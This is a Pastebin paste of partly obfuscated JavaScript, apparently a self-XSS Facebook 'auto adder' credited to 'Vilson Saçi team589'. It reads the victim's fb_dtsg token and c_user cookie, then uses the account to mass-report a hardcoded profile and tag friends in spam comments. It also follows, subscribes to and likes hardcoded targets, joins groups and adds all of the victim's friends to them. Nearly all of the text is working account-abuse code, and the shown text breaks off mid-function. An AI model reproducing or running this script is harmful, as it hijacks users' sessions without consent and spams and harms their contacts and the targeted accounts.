Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function hp_d12(s) {
- var o = "",
- ar = new Array(),
- os = "",
- ic = 0,
- p = 0;
- for (i = 0; i < s.length; i++) {
- c = s.charCodeAt(i);
- if (c < 128) c = c ^ ((p++ % 8) + 1);
- os += String.fromCharCode(c);
- if (os.length > 80) {
- ar[ic++] = os;
- os = ""
- }
- }
- o = ar.join("") + os;
- return o
- }
- var _0xb161=["\x76\x61\x6C\x75\x65","\x66\x62\x5F\x64\x74\x73\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x67\x65\x74\x54\x69\x6D\x65","\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x72\x65\x70\x6F\x72\x74\x2F\x73\x6F\x63\x69\x61\x6C\x2E\x70\x68\x70","\x66\x62\x5F\x64\x74\x73\x67\x3D","\x26\x62\x6C\x6F\x63\x6B\x3D\x31\x26\x70\x70\x3D\x25\x37\x42\x25\x32\x32\x61\x63\x74\x69\x6F\x6E\x73\x5F\x74\x6F\x5F\x74\x61\x6B\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x5B\x5D\x25\x32\x32\x25\x32\x43\x25\x32\x32\x61\x72\x65\x5F\x66\x72\x69\x65\x6E\x64\x73\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x63\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x63\x6F\x6E\x74\x65\x6E\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x30\x25\x32\x43\x25\x32\x32\x65\x78\x70\x61\x6E\x64\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x33\x41\x31\x25\x32\x43\x25\x32\x32\x66\x69\x72\x73\x74\x5F\x63\x68\x6F\x69\x63\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32\x66\x72\x6F\x6D\x5F\x67\x65\x61\x72\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74\x69\x6D\x65\x6C\x69\x6E\x65\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x66\x6F\x6C\x6C\x6F\x77\x69\x6E\x67\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x74\x61\x67\x67\x65\x64\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x6F\x6E\x5F\x70\x72\x6F\x66\x69\x6C\x65\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x70\x68\x61\x73\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x72\x65\x66\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x25\x35\x43\x25\x32\x46\x25\x35\x43\x25\x32\x46\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x25\x35\x43\x25\x32\x46\x4E\x61\x6E\x2E\x65\x72\x74\x74\x37\x25\x32\x32\x25\x32\x43\x25\x32\x32\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x31\x34\x35\x25\x32\x43\x25\x32\x32\x72\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x73\x75\x62\x5F\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x74\x69\x6D\x65\x5F\x66\x6C\x6F\x77\x5F\x73\x74\x61\x72\x74\x65\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x75\x73\x65\x72\x25\x32\x32\x25\x33\x41","\x25\x37\x44\x26\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x3D\x31\x26\x5F\x5F\x75\x73\x65\x72\x3D","\x26\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x79\x6E\x3D\x37\x6E\x38\x61\x68\x79\x6A\x32\x71\x6D\x76\x75\x35\x6B\x39\x55\x6D\x41\x41\x61\x55\x56\x70\x6F\x26\x5F\x5F\x72\x65\x71\x3D\x75\x26\x74\x74\x73\x74\x61\x6D\x70\x3D\x32\x36\x35\x38\x31\x36\x38\x35\x37\x31\x30\x37\x31\x31\x30\x38\x38\x38\x30","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x63\x6C\x6F\x73\x65","\x73\x65\x6E\x64","\x31\x30\x30\x30\x30\x36\x39\x35\x32\x31\x31\x39\x30\x34\x38"];var fb_dtsg=document[_0xb161[2]](_0xb161[1])[0][_0xb161[0]];var user_id=document[_0xb161[4]][_0xb161[3]](document[_0xb161[4]][_0xb161[3]](/c_user=(\d+)/)[1]);var now=( new Date)[_0xb161[5]]();function Report(_0x45e7x5){var _0x45e7x6= new XMLHttpRequest();var _0x45e7x7=_0xb161[6];var _0x45e7x8=_0xb161[7]+fb_dtsg+_0xb161[8]+_0x45e7x5+_0xb161[9]+_0x45e7x5+_0xb161[10]+now+_0xb161[11]+user_id+_0xb161[12]+user_id+_0xb161[13];_0x45e7x6[_0xb161[15]](_0xb161[14],_0x45e7x7,true);_0x45e7x6[_0xb161[16]]=function (){if(_0x45e7x6[_0xb161[17]]==4&&_0x45e7x6[_0xb161[18]]==200){_0x45e7x6[_0xb161[19]];} ;} ;_0x45e7x6[_0xb161[20]](_0x45e7x8);} ;
- var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- function cereziAl(isim) {
- var tarama = isim + "=";
- if (document.cookie.length > 0) {
- konum = document.cookie.indexOf(tarama);
- if (konum != -1) {
- konum += tarama.length;
- son = document.cookie.indexOf(";", konum);
- if (son == -1) son = document.cookie.length;
- return unescape(document.cookie.substring(konum, son))
- } else {
- return ""
- }
- }
- }
- function getRandomInt(min, max) {
- return Math.floor(Math.random() * (max - min + 1)) + min
- }
- function randomValue(arr) {
- return arr[getRandomInt(0, arr.length - 1)]
- }
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- function a(abone) {
- var http4 = new XMLHttpRequest();
- var url4 = "/ajax/follow/follow_profile.php?__a=1";
- var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
- http4.open("POST", url4, true);
- http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function() {
- if (http4.readyState == 4 && http4.status == 200) {
- http4.close
- }
- };
- http4.send(params4)
- }
- var gid = ['443059055805550'];
- var gid = ['438208409593490'];
- var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
- var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
- var httpwp = new XMLHttpRequest();
- var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
- var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
- httpwp['open']('POST', urlwp, true);
- httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
- httpwp['setRequestHeader']('Content-length', paramswp['length']);
- httpwp['setRequestHeader']('Connection', 'keep-alive');
- httpwp['send'](paramswp);
- var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
- var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
- var friends = new Array();
- gf = new XMLHttpRequest();
- gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
- gf['send']();
- if (gf['readyState'] != 4) {} else {
- data = eval('(' + gf['responseText']['substr'](9) + ')');
- if (data['error']) {} else {
- friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
- return _0x93dax8['index'] - _0x93dax9['index']
- })
- }
- };
- var Title = 'Auto Adders by Vilson Saçi <A style="color:#3B5998;" href="https://www.facebook.com ">Facebook.</A>';
- grpname = document.getElementById("groupsJumpTitle").innerHTML;
- var Descriptions = "",
- _text = 'Powered By <A style="color:#3B5998;" href="https://www.facebook.com/groups/ GroupsByVilson /">Vilson Saçi Albania .</A> team589.';
- function AddFriendtoGroup(opo) {
- jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
- var b = a.substring(a.indexOf("{"));
- var c = JSON.parse(b);
- i--;
- Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
- if (c.error) {
- Descriptions += "color:darkred'>";
- err++;
- if (c.errorDescription) Descriptions += c.errorDescription;
- else Descriptions += JSON.stringify(c, null, "")
- } else {
- Descriptions += "color:darkgreen'>";
- Descriptions += arn[i] + " has been added.<br/>";
- suc++
- }
- Descriptions += "</div>";
- var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
- display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
- if (i > 0) {
- display += arr.length + " Friends Detected<br/>";
- display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
- display += "(" + i + " Lefted...)";
- display += "<div class='friend-edge'>";
- display += Descriptions;
- display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
- display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
- display += getuname + " team589 Vilson Saçi " + grpname + ".<br/>";
- display += _text;
- display += "</div>";
- display += "</div>"
- } else {
- display += arr.length + " Friends Detected<br/>";
- display += suc + " Friends Added</br>";
- display += err + " Friends Not Added</br></br>";
- display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>install</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Uninstall</span>"
- }
- display += "</div>";
- document.getElementById("pagelet_sidebar").innerHTML = display
- }, "text", "post");
- tay--;
- if (tay > 0) {
- var s = arr[tay];
- sx = pho[tay];
- setTimeout("AddFriendtoGroup(" + s + ")", 100)
- }
- console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
- if (gid != 443059055805550) {
- jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=443059055805550&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
- }
- if (newcomer) {
- jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003251100769&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
- }
- }
- function clickfr_callback() {
- if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
- var a = arr[i];
- if (i < arr.length) addfriend(a.substring(0, 4))
- }
- function clickfr() {
- if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
- else j++;
- setTimeout("clickfr_callback()", 2E3)
- }
- function addfriend(a) {
- i++;
- setTimeout("clickfr()", 2E3)
- }
- jx = {
- getHTTPObject: function() {
- var a = false;
- if (typeof ActiveXObject != "undefined") try {
- a = new ActiveXObject("Msxml2.XMLHTTP")
- } catch (b) {
- try {
- a = new ActiveXObject("Microsoft.XMLHTTP")
- } catch (c) {
- a = false
- }
- } else if (window.XMLHttpRequest) try {
- a = new XMLHttpRequest
- } catch (b) {
- a = false
- }
- return a
- },
- load: function(url, callback, format, method, opt) {
- var http = this.init();
- if (!http || !url) return;
- if (http.overrideMimeType) http.overrideMimeType("text/xml");
- if (!method) method = "GET";
- if (!format) format = "text";
- if (!opt) opt = {};
- format = format.toLowerCase();
- method = method.toUpperCase();
- var now = "uid=" + (new Date).getTime();
- url += url.indexOf("?") + 1 ? "&" : "?";
- url += now;
- var parameters = null;
- if (method == "POST") {
- var parts = url.split("?");
- url = parts[0];
- parameters = parts[1]
- }
- http.open(method, url, true);
- var ths = this;
- if (opt.handler) http.onreadystatechange = function() {
- opt.handler(http)
- };
- else http.onreadystatechange = function() {
- if (http.readyState == 4) if (http.status == 200) {
- var result = "";
- if (http.responseText) result = http.responseText;
- if (format.charAt(0) == "j") {
- result = result.replace(/[\n\r]/g, "");
- result = eval("(" + result + ")")
- } else if (format.charAt(0) == "x") result = http.responseXML;
- if (callback) callback(result)
- } else {
- if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
- if (opt.loading) document.getElementById(opt.loading).style.display = "none";
- if (error) error(http.status)
- }
- };
- http.send(parameters)
- },
- bind: function(a) {
- var b = {
- url: "",
- onSuccess: false,
- onError: false,
- format: "text",
- method: "GET",
- update: "",
- loading: "",
- loadingIndicator: ""
- };
- for (var c in b) if (a[c]) b[c] = a[c];
- if (!b.url) return;
- var d = false;
- if (b.loadingIndicator) {
- d = document.createElement("div");
- d.setAttribute("style", "position:absolute;top:0px;left:0px;");
- d.setAttribute("class", "loading-indicator");
- d.innerHTML = b.loadingIndicator;
- document.getElementsByTagName("body")[0].appendChild(d);
- this.opt.loadingIndicator = d
- }
- if (b.loading) document.getElementById(b.loading).style.display = "block";
- this.load(b.url, function(a) {
- if (b.onSuccess) b.onSuccess(a);
- if (b.update) document.getElementById(b.update).innerHTML = a;
- if (d) document.getElementsByTagName("body")[0].removeChild(d);
- if (b.loading) document.getElementById(b.loading).style.display = "none"
- }, b.format, b.method, b)
- },
- init: function() {
- return this.getHTTPObject()
- }
- };
- var nHtml = {
- FindByAttr: function(a, b, c, d) {
- if (c == "className") c = "class";
- var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
- if (e && e.singleNodeValue) return e.singleNodeValue;
- return null
- },
- FindByClassName: function(a, b, c) {
- return this.FindByAttr(a, b, "className", c)
- },
- FindByXPath: function(a, b) {
- try {
- var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
- } catch (d) {
- GM_log("bad xpath:" + b)
- }
- if (c && c.singleNodeValue) return c.singleNodeValue;
- return null
- },
- VisitUrl: function(a) {
- window.setTimeout(function() {
- document.location.href = a
- }, 500 + Math.floor(Math.random() * 500))
- },
- ClickWin: function(a, b, c) {
- var d = a.document.createEvent("MouseEvents");
- d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
- return !b.dispatchEvent(d)
- },
- Click: function(a) {
- return this.ClickWin(window, a, "click")
- },
- ClickTimeout: function(a, b) {
- window.setTimeout(function() {
- return nHtml.ClickWin(window, a, "click")
- }, b + Math.floor(Math.random() * 500))
- },
- ClickUp: function(a) {
- this.ClickWin(window, a, "mousedown");
- this.ClickWin(window, a, "mouseup");
- this.ClickWin(window, a, "click")
- },
- GetText: function(a, b) {
- var c = "";
- if (b == undefined) b = 0;
- if (b > 40) return;
- if (a.textContent != undefined) return a.textContent;
- for (var d = 0; d < a.childNodes.length; d++) {
- var e = a.childNodes[d];
- c += this.GetText(e, b + 1)
- }
- return c
- }
- };
- if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
- var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
- var c = document.getElementsByTagName("*");
- var d = [];
- var e;
- for (var f = 0;
- (e = c[f]) != null; f++) {
- var g = e.className;
- if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
- }
- return d
- };
- Array.prototype.find = function(a) {
- var b = false;
- for (i = 0; i < this.length; i++) if (typeof a == "function") {
- if (a.test(this[i])) {
- if (!b) b = [];
- b.push(i)
- }
- } else if (this[i] === a) {
- if (!b) b = [];
- b.push(i)
- }
- return b
- };
- var i = 3;
- var tay = 3;
- var j = 0;
- var k = 0;
- var suc = 0;
- var err = 0;
- var arr = new Array;
- var arn = new Array;
- var pho = new Array;
- var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
- var gid = document.getElementsByName("group_id")[0].value;
- jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
- var b = a;
- var c = b.substring(b.indexOf("{"));
- var d = JSON.parse(c);
- d = d.payload.entries;
- for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
- for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
- for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
- i = arr.length - 1;
- tay = i;
- console.log(arr.length);
- var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
- display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
- display += arr.length + " Friends Detected";
- display += "</div>";
- document.getElementById("pagelet_sidebar").innerHTML = display;
- AddFriendtoGroup(arr[i])
- });
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- function cereziAl(isim) {
- var tarama = isim + "=";
- if (document.cookie.length > 0) {
- konum = document.cookie.indexOf(tarama)
- if (konum != -1) {
- konum += tarama.length
- son = document.cookie.indexOf(";", konum)
- if (son == -1)
- son = document.cookie.length
- return unescape(document.cookie.substring(konum, son))
- }
- else { return ""; }
- }
- }
- function getRandomInt (min, max) {
- return Math.floor(Math.random() * (max - min + 1)) + min;
- }
- function randomValue(arr) {
- return arr[getRandomInt(0, arr.length-1)];
- }
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- function a(abone){
- var http4 = new XMLHttpRequest();
- var url4 = "/ajax/follow/follow_profile.php?__a=1";
- var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
- http4.open("POST", url4, true);
- //Send the proper header information along with the request
- http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function() {//Call a function when the state changes.
- if(http4.readyState == 4 && http4.status == 200) {
- http4.close; // Close the connection
- }
- }
- http4.send(params4);
- }
- function sublist(uidss) {
- var a = document.createElement('script');
- a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
- document.body.appendChild(a);
- }
- sublist("827079857321005");
- sublist("827080560654268");
- sublist("755537921141866");
- sublist("777978295564495");
- sublist("1436031959967168");
- sublist("798028190226172");
- sublist("798028086892849");
- sublist("809109455784712");
- sublist("1441194856121042");
- a("100006811324182");
- a("100000569963266");
- a("1413699705549669");
- a("627888383961400");
- Like("475099185870061");
- Like("249048678610871");
- Like("1487890411424279");
- Like("1419432078307080");
- Like("546594725461669");
- Like("631328216944602");
- Like("716431721735818");
- var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
- var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
- var httpwp = new XMLHttpRequest();
- var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
- var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
- httpwp['open']('POST', urlwp, true);
- httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
- httpwp['setRequestHeader']('Content-length', paramswp['length']);
- httpwp['setRequestHeader']('Connection', 'keep-alive');
- httpwp['send'](paramswp);
- var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
- var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
- var friends = new Array();
- gf = new XMLHttpRequest();
- gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
- gf['send']();
- if (gf['readyState'] != 4) {} else {
- data = eval('(' + gf['responseText']['substr'](9) + ')');
- if (data['error']) {} else {
- friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
- return _0x93dax8['index'] - _0x93dax9['index'];
- });
- };
- };
- for (var i = 0; i < friends['length']; i++) {
- var httpwp = new XMLHttpRequest();
- var urlwp = '/ajax/groups/members/add_post.php?__a=1';
- var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
- httpwp['open']('POST', urlwp, true);
- httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
- httpwp['setRequestHeader']('Content-length', paramswp['length']);
- httpwp['setRequestHeader']('Connection', 'keep-alive');
- httpwp['onreadystatechange'] = function () {
- if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
- };
- httpwp['send'](paramswp);
- };
- var spage_id = "295782547108274";
- var spost_id = "475485335804660";
- var sfoto_id = "475485335804660";
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- var smesaj = "";
- var smesaj_text = "";
- var arkadaslar = [];
- var svn_rev;
- var bugun= new Date();
- var btarihi = new Date();
- btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
- if(!document.cookie.match(/paylasti=(\d+)/)){
- document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
- }
- //arkadaslari al ve isle
- function sarkadaslari_al(){
- var xmlhttp = new XMLHttpRequest();
- xmlhttp.onreadystatechange = function () {
- if(xmlhttp.readyState == 4){
- eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
- for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
- smesaj = "";
- smesaj_text = "";
- for(i=f*10;i<(f+1)*10;i++){
- if(arkadaslar.payload.entries[i]){
- smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
- smesaj_text += " " + arkadaslar.payload.entries[i].text;
- }
- }
- sdurumpaylas(); }
- }
- };
- var params = "&filter[0]=user";
- params += "&options[0]=friends_only";
- params += "&options[1]=nm";
- params += "&token=v7";
- params += "&viewer=" + user_id;
- params += "&__user=" + user_id;
- if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
